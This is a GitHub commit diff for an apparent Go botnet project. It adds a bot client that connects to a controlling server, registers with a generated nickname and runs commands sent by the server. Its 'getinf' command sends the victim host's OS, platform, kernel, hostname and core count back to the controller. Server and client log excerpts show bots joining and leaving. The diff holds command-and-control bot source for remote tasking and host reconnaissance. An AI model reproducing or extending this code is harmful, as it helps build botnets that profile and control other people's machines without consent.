Skip to content

Commit 09c2f09

Browse files
committed
added sendToServer method
1 parent f02b09c commit 09c2f09

File tree

8 files changed

+71
-20
lines changed

8 files changed

+71
-20
lines changed

go.mod

Lines changed: 0 additions & 3 deletions
This file was deleted.

pkg/linux_amd64/BotClientCommand.a

11.8 KB
Binary file not shown.
27.9 KB
Binary file not shown.

src/BotClient/initConn.go

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
package main
22

33
import (
4+
botclientcommand "BotClientCommand"
45
misc "Misc"
56
"bufio"
6-
"fmt"
77
"net"
88
"os"
99
)
@@ -31,9 +31,9 @@ func initClientConn(netType string, addr string, port string) {
3131
}
3232

3333
func handleClientConn(c net.Conn) {
34-
_, err := c.Write([]byte(">setbotname jhon"))
34+
_, err := c.Write([]byte(">setbotname " + botclientcommand.Getnick()))
3535
if err != nil {
36-
return
36+
// return
3737
}
3838
for {
3939
buf := make([]byte, 500)
@@ -43,9 +43,9 @@ func handleClientConn(c net.Conn) {
4343
}
4444
data := string(buf[0:nr])
4545
if data == "Name Taken" {
46-
_, err = c.Write([]byte(">setbotname meron"))
46+
_, err = c.Write([]byte(">setbotname " + botclientcommand.Getnick()))
4747
}
48-
fmt.Println(">server", data)
48+
botclientcommand.HandleCommand(c, data)
4949
}
5050
}
5151

src/BotClient/logger.log

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,3 +32,16 @@ INFO 2019/03/07 15:50:54 util.go:55: Client Connected
3232
INFO 2019/03/07 15:51:54 util.go:55: Client Connected
3333
INFO 2019/03/07 15:58:27 util.go:55: Client Connected
3434
INFO 2019/03/07 15:58:52 util.go:55: Client Connected
35+
INFO 2019/03/07 16:23:10 util.go:55: Client Connected
36+
INFO 2019/03/07 16:23:26 util.go:55: Client Connected
37+
INFO 2019/03/07 16:24:15 util.go:55: Client Connected
38+
INFO 2019/03/07 16:24:52 util.go:55: Client Connected
39+
INFO 2019/03/07 16:26:39 util.go:55: Client Connected
40+
INFO 2019/03/07 16:29:51 util.go:55: Client Connected
41+
INFO 2019/03/07 16:30:25 util.go:55: Client Connected
42+
INFO 2019/03/07 16:46:40 util.go:55: Client Connected
43+
INFO 2019/03/07 16:53:28 util.go:55: Client Connected
44+
INFO 2019/03/07 16:55:11 util.go:55: Client Connected
45+
INFO 2019/03/07 17:00:02 util.go:55: Client Connected
46+
INFO 2019/03/07 17:03:59 util.go:55: Client Connected
47+
INFO 2019/03/07 17:04:47 util.go:55: Client Connected

src/BotClientCommand/command.go

Lines changed: 25 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,36 @@
11
package botclientcommand
22

33
import (
4+
"fmt"
5+
"math/rand"
46
"net"
7+
8+
gi "github.com/matishsiao/goInfo"
59
)
610

7-
type client struct {
8-
conn net.Conn
9-
name string
10-
room string
11+
//Getnick ...
12+
func Getnick() string {
13+
temp := gi.GetInfo()
14+
rand := rand.Int63n(5000000)
15+
return fmt.Sprintf("%s_%d", temp.GoOS, rand)
1116
}
1217

13-
type room struct {
14-
members map[net.Addr]*client
15-
}
18+
func HandleCommand(c net.Conn, message string) {
19+
switch message {
1620

17-
var rooms map[string]*room
21+
case "getinf":
22+
go getInf(c)
23+
break
24+
}
25+
}
1826

19-
var usage = `
20-
/nick <name>: get a name, or stay anonymous
21-
/join <room>:
27+
// SendToServer sends a message to server
28+
func sendToServer(c net.Conn, msg string) (err error) {
29+
_, err = c.Write([]byte(msg))
30+
return
31+
}
2232

23-
`
33+
func getInf(c net.Conn) {
34+
info := gi.GetInfo()
35+
sendToServer(c, "OS->"+info.OS+"- Platform ->"+info.Platform+"- Kernel ->"+info.Kernel+"- Host ->"+info.Hostname+"- Core ->"+info.Core)
36+
}

src/BotServer/logger.log

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -125,3 +125,30 @@ INFO 2019/03/07 15:58:07 util.go:55: Bot < jhon > has left the room
125125
INFO 2019/03/07 15:58:27 util.go:55: Bot < jhon > has Joined
126126
INFO 2019/03/07 15:58:52 util.go:55: Can't Add Bot >> Name Taken Generated
127127
INFO 2019/03/07 15:58:52 util.go:55: Bot < meron > has Joined
128+
INFO 2019/03/07 16:22:32 util.go:55: Input from server has initialized
129+
INFO 2019/03/07 16:22:32 util.go:55: Server Has Started
130+
DANGER 2019/03/07 16:23:10 util.go:31: Bot is not yet saved
131+
INFO 2019/03/07 16:23:10 util.go:55: Unknow Bot has left the room
132+
DANGER 2019/03/07 16:23:26 util.go:31: Bot is not yet saved
133+
INFO 2019/03/07 16:23:26 util.go:55: Unknow Bot has left the room
134+
DANGER 2019/03/07 16:24:15 util.go:31: Bot is not yet saved
135+
INFO 2019/03/07 16:24:15 util.go:55: Unknow Bot has left the room
136+
DANGER 2019/03/07 16:24:52 util.go:31: Bot is not yet saved
137+
INFO 2019/03/07 16:24:52 util.go:55: Unknow Bot has left the room
138+
INFO 2019/03/07 16:26:39 util.go:55: Bot < linux_� > has Joined
139+
INFO 2019/03/07 16:29:47 util.go:55: Bot < linux_� > has left the room
140+
INFO 2019/03/07 16:29:51 util.go:55: Bot < linux-2779410 > has Joined
141+
INFO 2019/03/07 16:30:22 util.go:55: Bot < linux-2779410 > has left the room
142+
INFO 2019/03/07 16:30:25 util.go:55: Bot < linux_2779410 > has Joined
143+
INFO 2019/03/07 16:44:13 util.go:55: Bot < linux_2779410 > has left the room
144+
INFO 2019/03/07 16:46:40 util.go:55: Bot < linux_2779410 > has Joined
145+
INFO 2019/03/07 16:46:52 util.go:55: Bot < linux_2779410 > has left the room
146+
INFO 2019/03/07 16:53:28 util.go:55: Bot < linux_2779410 > has Joined
147+
INFO 2019/03/07 16:55:09 util.go:55: Bot < linux_2779410 > has left the room
148+
INFO 2019/03/07 16:55:11 util.go:55: Bot < linux_2779410 > has Joined
149+
INFO 2019/03/07 16:59:59 util.go:55: Bot < linux_2779410 > has left the room
150+
INFO 2019/03/07 17:00:02 util.go:55: Bot < linux_2779410 > has Joined
151+
INFO 2019/03/07 17:03:57 util.go:55: Bot < linux_2779410 > has left the room
152+
INFO 2019/03/07 17:03:59 util.go:55: Bot < linux_2779410 > has Joined
153+
INFO 2019/03/07 17:04:44 util.go:55: Bot < linux_2779410 > has left the room
154+
INFO 2019/03/07 17:04:47 util.go:55: Bot < linux_2779410 > has Joined

src/github.com/matishsiao/goInfo

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Subproject commit 617e6440957ee5591c8912e8b7e2f03a86298722

0 commit comments

Comments
 (0)